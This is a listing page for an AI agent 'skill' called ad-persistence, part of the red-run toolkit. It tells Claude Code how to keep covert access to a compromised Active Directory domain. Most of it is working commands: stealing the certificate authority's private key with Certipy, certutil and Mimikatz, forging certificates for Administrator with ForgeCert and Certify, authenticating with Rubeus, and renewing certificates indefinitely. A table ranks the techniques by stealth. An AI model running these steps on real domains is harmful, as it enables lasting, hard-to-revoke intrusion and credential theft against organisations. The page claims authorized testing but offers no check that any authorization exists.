/ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
$ npx -y skills add blacklanternsecurity/red-run --skill ad-persistence --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/ad-persistence
Context preview
The summary Claude sees to decide when to auto-load this skill.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
SKILL.md
ad-persistence.SKILL.mdname: ad-persistence
description: >
Establishes persistent access in Active Directory environments after domain
compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key
(LSASS master password), custom SSP injection (credential logging via
mimilib/memssp), security descriptor backdoors (WMI/WinRM/ DCOM/registry ACL
modification), ADFS Golden SAML (DKM key extraction and forged SAML tokens),
SID history persistence (DA SID in regular user), and certificate-based
persistence (golden certificate, renewal, enrollment agent).
keywords:
- AD persistence
- domain persistence
- DCShadow
- skeleton key
- custom SSP
- mimilib
- memssp
- Golden SAML
- ADFS persistence
- security descriptor backdoor
- DAMP
- SID history persistence
- golden certificate
- maintain access
- post-DA persistence
- domain backdoor
tools:
- Mimikatz
- ADFSDump
- ADFSpoof
- ForgeCert
- Certipy
- Rubeus
- Impacket (ticketer.py)
- Nishang
- bloodyAD
opsec: medium
AD Persistence
You are helping a penetration tester establish persistent access in Active Directory environments after achieving domain admin or equivalent privileges. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[ad-persistence] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
**Access required**: Domain Admin or equivalent on at least one DC. Some techniques require SYSTEM on the DC (DCShadow, skeleton key, custom SSP). ADFS Golden SAML requires ADFS service account access.
**Kerberos authentication setup**:
getTGT.py 'DOMAIN.LOCAL/admin:password' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/admin.ccache
**Tools**: Mimikatz, ADFSDump, ADFSpoof, ForgeCert, Certipy, Rubeus, Impacket, Nishang (Set-RemoteWMI, Set-RemotePSRemoting), bloodyAD.
Persistence Decision Tree
Select based on access level, stealth requirements, and infrastructure:
| Technique | Stealth | Survives Reboot | Requirements | Best For | |-----------|---------|----------------|--------------|----------| | Golden Certificate | Very High | Yes (years) | CA key access | Long-term undetectable access | | DCShadow | Very High | Yes | DA + SYSTEM on DC | Stealthy attribute modification | | Security descriptors | High | Yes | DA | Remote access backdoor | | SID history | High | Yes | DA | Covert privilege assignment | | ADFS Golden SAML | High | Yes | ADFS service account | Federated service access (O365) | | Certificate renewal | High | Yes | Existing cert | Extend existing cert access | | Custom SSP (registry) | Medium | Yes | DC admin | Credential harvesting | | Skeleton Key | Medium | No | SYSTEM on each DC | Quick universal password | | Custom SSP (memssp) | Medium | No | SYSTEM on DC | Temporary credential capture |
Step 1: Golden Certificate
Extract the CA private key and forge certificates for any user. The highest-value persistence — certificates cannot be revoked (CA doesn't know about forged certs) and last years.
**Prerequisite**: Access to the CA server (typically a DC or dedicated CA host).
Extract CA Key
# Certipy — backup CA cert + private key
certipy ca -k -no-pass 'DOMAIN.LOCAL/admin@ca.domain.local' -backup -ca 'DOMAIN-CA'
# certutil (from CA server)
certutil -backupKey -f -p 'BackupPass123!' C:\Windows\Tasks\CaBackup
# Mimikatz (from CA server)
mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export
Forge Certificate
# Certipy — forge cert for any user
certipy forge -ca-pfx DOMAIN-CA.pfx -upn administrator@domain.local \
-subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_forged.pfx
# With SID embedding (KB5014754 compliance for 2025+ enforcement)
certipy forge -ca-pfx DOMAIN-CA.pfx -upn administrator@domain.local \
-sid S-1-5-21-DOMAIN_SID-500 -out admin_forged_sid.pfx
# ForgeCert (.NET)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword BackupPass123! \
--Subject "CN=Admin" --SubjectAltName administrator@domain.local \
--NewCertPath admin_forged.pfx --NewCertPassword CertPass!
# Certify with SID
Certify.exe forge --ca-pfx ca.pfx --ca-pass BackupPass123! \
--upn administrator@domain.local --sid S-1-5-21-DOMAIN_SID-500 \
--outfile admin_forged.pfx
Authenticate with Forged Certificate
# Certipy PKINIT
certipy auth -pfx admin_forged.pfx -dc-ip DC_IP
# Returns NT hash via UnPAC-the-Hash
# Rubeus
Rubeus.exe asktgt /user:Administrator /certificate:admin_forged.pfx /password:CertPass! /ptt
**Validity**: Until the CA certificate expires (typically 5-20 years). Cannot be revoked. Survives password resets.
Certificate Renewal Persistence
If you already have a valid user certificate:
# Renew indefinitely (extends validity)
certipy req -k -no-pass -ca 'DOMAIN-CA' -template User \
-pfx existing_cert.pfx -renew -out renewed.pfx
# With SID for enforcement mode compliance
certipy req -k -no-pass -ca 'DOMAIN-CA' -template User \
-pfx existing_cert.pfx -renew -sid S-1-5-21-DOMAIN_SID-500 -out renewed
Read more
name: ad-persistence description: > Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors (WMI/WinRM/ DCOM/registry ACL modification), ADFS Golden SAML (DKM key extraction and forged SAML tokens), SID history persistence (DA SID in regular user), and certificate-based persistence (golden certificate, renewal, enrollment agent). keywords: - AD persistence - domain persistence - DCShadow - skeleton key - custom SSP - mimilib - memssp - Golden SAML - ADFS persistence - security descriptor backdoor - DAMP - SID history persistence - golden certificate - maintain access - post-DA persistence - domain backdoor tools: - Mimikatz - ADFSDump - ADFSpoof - ForgeCert - Certipy - Rubeus - Impacket (ticketer.py) - Nishang - bloodyAD opsec: medium
AD Persistence
You are helping a penetration tester establish persistent access in Active Directory environments after achieving domain admin or equivalent privileges. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[ad-persistence] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
**Access required**: Domain Admin or equivalent on at least one DC. Some techniques require SYSTEM on the DC (DCShadow, skeleton key, custom SSP). ADFS Golden SAML requires ADFS service account access.
**Kerberos authentication setup**:
getTGT.py 'DOMAIN.LOCAL/admin:password' -dc-ip DC_IP export KRB5CCNAME=$(pwd)/admin.ccache
**Tools**: Mimikatz, ADFSDump, ADFSpoof, ForgeCert, Certipy, Rubeus, Impacket, Nishang (Set-RemoteWMI, Set-RemotePSRemoting), bloodyAD.
Persistence Decision Tree
Select based on access level, stealth requirements, and infrastructure:
| Technique | Stealth | Survives Reboot | Requirements | Best For | |-----------|---------|----------------|--------------|----------| | Golden Certificate | Very High | Yes (years) | CA key access | Long-term undetectable access | | DCShadow | Very High | Yes | DA + SYSTEM on DC | Stealthy attribute modification | | Security descriptors | High | Yes | DA | Remote access backdoor | | SID history | High | Yes | DA | Covert privilege assignment | | ADFS Golden SAML | High | Yes | ADFS service account | Federated service access (O365) | | Certificate renewal | High | Yes | Existing cert | Extend existing cert access | | Custom SSP (registry) | Medium | Yes | DC admin | Credential harvesting | | Skeleton Key | Medium | No | SYSTEM on each DC | Quick universal password | | Custom SSP (memssp) | Medium | No | SYSTEM on DC | Temporary credential capture |
Step 1: Golden Certificate
Extract the CA private key and forge certificates for any user. The highest-value persistence — certificates cannot be revoked (CA doesn't know about forged certs) and last years.
**Prerequisite**: Access to the CA server (typically a DC or dedicated CA host).
Extract CA Key
# Certipy — backup CA cert + private key certipy ca -k -no-pass 'DOMAIN.LOCAL/admin@ca.domain.local' -backup -ca 'DOMAIN-CA' # certutil (from CA server) certutil -backupKey -f -p 'BackupPass123!' C:\Windows\Tasks\CaBackup # Mimikatz (from CA server) mimikatz # crypto::capi mimikatz # crypto::cng mimikatz # crypto::certificates /export
Forge Certificate
# Certipy — forge cert for any user certipy forge -ca-pfx DOMAIN-CA.pfx -upn administrator@domain.local \ -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_forged.pfx # With SID embedding (KB5014754 compliance for 2025+ enforcement) certipy forge -ca-pfx DOMAIN-CA.pfx -upn administrator@domain.local \ -sid S-1-5-21-DOMAIN_SID-500 -out admin_forged_sid.pfx # ForgeCert (.NET) ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword BackupPass123! \ --Subject "CN=Admin" --SubjectAltName administrator@domain.local \ --NewCertPath admin_forged.pfx --NewCertPassword CertPass! # Certify with SID Certify.exe forge --ca-pfx ca.pfx --ca-pass BackupPass123! \ --upn administrator@domain.local --sid S-1-5-21-DOMAIN_SID-500 \ --outfile admin_forged.pfx
Authenticate with Forged Certificate
# Certipy PKINIT certipy auth -pfx admin_forged.pfx -dc-ip DC_IP # Returns NT hash via UnPAC-the-Hash # Rubeus Rubeus.exe asktgt /user:Administrator /certificate:admin_forged.pfx /password:CertPass! /ptt
**Validity**: Until the CA certificate expires (typically 5-20 years). Cannot be revoked. Survives password resets.
Certificate Renewal Persistence
If you already have a valid user certificate:
# Renew indefinitely (extends validity) certipy req -k -no-pass -ca 'DOMAIN-CA' -template User \ -pfx existing_cert.pfx -renew -out renewed.pfx # With SID for enforcement mode compliance certipy req -k -no-pass -ca 'DOMAIN-CA' -template User \ -pfx existing_cert.pfx -renew -sid S-1-5-21-DOMAIN_SID-500 -out renewed
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill - /auth-coercion-relay
Forces remote systems to authenticate back to attacker-controlled listeners and relays captured authentication to escalate privileges or move laterally. Covers authentication coercion (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, CheeseOunce), NTLM relay (ntlmrelayx to
Open skill

